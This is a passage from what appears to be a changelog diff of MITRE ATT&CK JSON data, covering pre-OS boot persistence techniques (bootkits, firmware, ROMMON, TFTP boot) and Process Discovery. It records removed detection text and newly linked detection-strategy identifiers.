"M1047: Audit", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0001: Firmware (Firmware Modification)", + "DS0009: Process (OS API Execution)", + "DS0016: Drive (Drive Modification)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0027: Driver (Driver Metadata)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0278: Detection Strategy for T1542 Pre-OS Boot" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-12-19 21:05:38.123000+00:00", + "modified": "2025-10-24 17:48:28.341000+00:00", + "name": "Bootkit", + "description": "Adversaries may use bootkits to persist on systems. A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR).(Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.(Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1542/003", + "external_id": "T1542.003" + }, + { + "source_name": "Lau 2011", + "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.", + "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion" + }, + { + "source_name": "Mandiant M Trends 2016", + "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf" + }, + { + "source_name": "welivesecurity", + "description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.", + "url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/" + }, + { + "source_name": "Microsoft Security", + "description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Drive: Drive Modification\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.341000+00:00\", \"old_value\": \"2025-04-15 19:58:10.739000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1046: Boot Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0016: Drive (Drive Modification)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0150: Detection Strategy for File Creation or Modification of Boot Files" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--791481f8-e96a-41be-b089-a088763083d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-12-19 20:21:21.669000+00:00", + "modified": "2025-10-24 17:48:59.147000+00:00", + "name": "Component Firmware", + "description": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1542/002", + "external_id": "T1542.002" + }, + { + "source_name": "ITWorld Hard Disk Health Dec 2014", + "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved November 17, 2024.", + "url": "https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html" + }, + { + "source_name": "SanDisk SMART", + "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018." + }, + { + "source_name": "SmartMontools", + "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.", + "url": "https://www.smartmontools.org/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firmware: Firmware Modification\", \"Process: OS API Execution\", \"Driver: Driver Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.147000+00:00\", \"old_value\": \"2025-04-15 19:58:43.347000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\\n\\nDisk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\\n-\\n-Disk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0001: Firmware (Firmware Modification)", + "DS0009: Process (OS API Execution)", + "DS0027: Driver (Driver Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0323: Detection Strategy for T1542.002 Pre-OS Boot: Component Firmware" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-20 00:05:48.790000+00:00", + "modified": "2025-10-24 17:49:11.524000+00:00", + "name": "ROMMONkit", + "description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1542/004", + "external_id": "T1542.004" + }, + { + "source_name": "Cisco Synful Knock Evolution", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.524000+00:00\", \"old_value\": \"2025-04-25 14:47:36.549000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention", + "M1046: Boot Integrity", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0001: Firmware (Firmware Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0175: Detection Strategy for T1542.004 Pre-OS Boot: ROMMONkit" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-12-19 19:43:34.507000+00:00", + "modified": "2025-10-24 17:48:26.714000+00:00", + "name": "System Firmware", + "description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1542/001", + "external_id": "T1542.001" + }, + { + "source_name": "McAfee CHIPSEC Blog", + "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.", + "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/" + }, + { + "source_name": "MITRE Copernicus", + "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.", + "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about" + }, + { + "source_name": "Intel HackingTeam UEFI Rootkit", + "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20170313124421/http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html" + }, + { + "source_name": "Github CHIPSEC", + "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.", + "url": "https://github.com/chipsec/chipsec" + }, + { + "source_name": "About UEFI", + "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.", + "url": "http://www.uefi.org/about" + }, + { + "source_name": "MITRE Trustworthy Firmware Measurement", + "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.", + "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research" + }, + { + "source_name": "Wikipedia UEFI", + "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.", + "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface" + }, + { + "source_name": "Wikipedia BIOS", + "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.", + "url": "https://en.wikipedia.org/wiki/BIOS" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jean-Ian Boutin, ESET", + "McAfee", + "Ryan Becwar" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Network Devices" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.714000+00:00\", \"old_value\": \"2025-04-15 19:58:09.046000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\\n\\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\\n-\\n-Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1046: Boot Integrity", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0001: Firmware (Firmware Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0099: Detection Strategy for T1542.001 Pre-OS Boot: System Firmware" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-20 00:06:56.180000+00:00", + "modified": "2025-10-24 17:48:33.317000+00:00", + "name": "TFTP Boot", + "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1542/005", + "external_id": "T1542.005" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Secure Boot", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Command History", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23" + }, + { + "source_name": "Cisco IOS Software Integrity Assurance - Boot Information", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020.", + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#26" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Network Traffic: Network Connection Creation\", \"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.317000+00:00\", \"old_value\": \"2025-04-25 14:46:08.824000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n\\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n-\\n-Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1031: Network Intrusion Prevention", + "M1035: Limit Access to Resource Over Network", + "M1046: Boot Integrity", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0001: Firmware (Firmware Modification)", + "DS0017: Command (Command Execution)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0582: Detection Strategy for T1542.005 Pre-OS Boot: TFTP Boot" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:48.728000+00:00", + "modified": "2025-10-24 17:49:05.839000+00:00", + "name": "Process Discovery", + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.(Citation: Sygnia ESXi Ransomware 2025)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1057", + "external_id": "T1057" + }, + { + "source_name": "show_processes_cisco_cmd", + "description": "Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760" + }, + { + "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021", + "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.", + "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + }, + { + "source_name": "Sygnia ESXi Ransomware 2025", + "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.", + "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.839000+00:00\", \"old_value\": \"2025-04-15 19:58:50.607000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0034: Detection of Adversarial Process Discovery Behavior" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "created_by_ref": 